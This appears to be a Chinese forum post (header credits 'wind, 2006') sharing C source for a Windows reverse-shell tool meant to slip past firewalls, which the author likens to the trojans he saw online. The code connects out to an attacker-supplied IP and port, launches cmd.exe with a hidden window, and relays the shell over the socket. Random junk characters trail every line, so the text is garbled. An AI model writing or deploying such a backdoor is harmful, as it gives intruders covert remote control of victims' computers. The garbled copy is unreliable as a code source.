这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )dX(0E4Td/
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/* ============================== QEf@wv;T
Rebound port in Windows NT 3.?be.cq
By wind,2006/7 dt:$:,"
===============================*/ Z3hZy&_I
#include 3k9n*jY0
#include ap )B%9
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#pragma comment(lib,"wsock32.lib") D0xQXC3$`
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void OutputShell(); F/BR#J1
SOCKET sClient; '7el`Ff
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jw=PeT|
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void main(int argc,char **argv) ;j/$%lC
{ $Y6\m`
WSADATA stWsaData; \H:T)EVy
int nRet; CA0XcLiFt
SOCKADDR_IN stSaiClient,stSaiServer; $ch`.$wx
hI!BX};+}
if(argc != 3) eNK
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{ .>F4s_6l
printf("Useage:\n\rRebound DestIP DestPort\n"); O1\Hx8^
return; &H;,,7u
} =oSd M2
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WSAStartup(MAKEWORD(2,2),&stWsaData); $\h-F8|JMX
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nS%jnp#
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stSaiClient.sin_family = AF_INET; c#}K,joeU
stSaiClient.sin_port = htons(0); !`I@Rk]`c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `e
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j8&NscK)
{ ?$109wZ:9
printf("Bind Socket Failed!\n"); 5\b GCf
return; `9K5 ;]
} D1xGUz2r
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stSaiServer.sin_family = AF_INET; I61S0lz/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NgGMsE\C}
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /VT/KT{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f(m,!
{ Y\-xX:n.\
printf("Connect Error!"); E@ U]k$M
return; TsaQR2J@
} 8-nf4=ll
OutputShell(); D:/ n2_
} =9a2+ v0
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void OutputShell() dyWp'vCQs\
{ >5~#BrpwG
char szBuff[1024]; T(7`$<TQ
SECURITY_ATTRIBUTES stSecurityAttributes; {g%N(2
OSVERSIONINFO stOsversionInfo; AYA{_^#+3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +Ua|0>?
STARTUPINFO stStartupInfo; \tI%[g1M
char *szShell; uPz+*4+
PROCESS_INFORMATION stProcessInformation; ! dzgi:
unsigned long lBytesRead; z5fE<=<X_W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |q77
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |NfFe*q0;8
stSecurityAttributes.lpSecurityDescriptor = 0; =*,SD
stSecurityAttributes.bInheritHandle = TRUE; n(F!t,S1i
|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o{s2T)2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YO7U}6wBt
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xPm. TPj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X(N~tE
stStartupInfo.wShowWindow = SW_HIDE; dE7x
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stStartupInfo.hStdInput = hReadPipe; {[oNUzcd
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K&L!O3#(
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GetVersionEx(&stOsversionInfo); .{1$;K @
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switch(stOsversionInfo.dwPlatformId) 9pp+<c
{ @k?vbq
case 1: }e[ E
szShell = "command.com"; Bs~~C8+
break; B@,r8)D
default: *d1BpR%
szShell = "cmd.exe"; g&Vhu8kNIA
break; bwsKdh
} a1cX+{W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cI=6zMB
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send(sClient,szMsg,77,0); |#TU"$;
while(1) Ds`e-X)O;\
{ -H-U8/W C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sl' 4AK~\
if(lBytesRead) hg)Xr5>
{ 9z7_D_yN2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6>vR5pn
send(sClient,szBuff,lBytesRead,0); FOTe,F.8
} C(N'=-;Kl
else %rW}x[M%w?
{ my'nDi
lBytesRead=recv(sClient,szBuff,1024,0); "<CM'R
if(lBytesRead<=0) break; }.&nEi`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); clE9I<1v
} VeA@HC`?"
} ^)AECn
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return; n ay\)
}